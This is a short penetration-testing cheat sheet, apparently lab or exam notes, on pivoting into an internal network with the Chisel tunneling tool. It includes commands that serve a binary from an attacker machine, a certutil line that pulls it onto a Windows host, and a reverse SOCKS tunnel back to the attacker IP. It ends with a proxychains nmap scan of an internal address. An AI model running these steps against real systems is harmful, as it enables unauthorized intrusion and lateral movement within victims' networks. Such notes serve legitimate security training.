Chisel - SOCKS5 Tunneling - Windows (rev)

Installation

rm -rf /opt/tools/chisel/
mkdir -p /opt/tools/chisel/

wget https://github.com/jpillora/chisel/releases/download/v1.7.4/chisel_1.7.4_linux_amd64.gz -O /opt/tools/chisel/chisel.gz
gzip -d /opt/tools/chisel/chisel.gz
mv /opt/tools/chisel/chisel /opt/tools/chisel/chisel.elf
chmod +x /opt/tools/chisel/chisel.elf

wget https://github.com/jpillora/chisel/releases/download/v1.7.4/chisel_1.7.4_windows_amd64.gz -O /opt/tools/chisel/chisel.gz
gzip -d /opt/tools/chisel/chisel.gz
mv /opt/tools/chisel/chisel /opt/tools/chisel/chisel.exe
chmod +x /opt/tools/chisel/chisel.exe

Setup

Expose files

cd /opt/tools/chisel
python3 -m http.server 80

wget http://192.168.45.218/chisel.exe -O chisel.exe
# or
certutil -urlcache -f http://192.168.45.218/chisel.exe chisel.exe

Run server on Linux Host

./chisel.elf server -p 8080 --reverse

Run chisel client on Windows Host

.\chisel.exe client 192.168.45.218:8080 R:socks

Update proxy configuration on Attack Host

tail -n2 /etc/proxychains4.conf # or proxychains.conf
|->
# socks4    127.0.0.1 9050
socks5 127.0.0.1 1080

Run nmap with proxychains

proxychains -q nmap -p- -Pn 172.16.238.15 -vv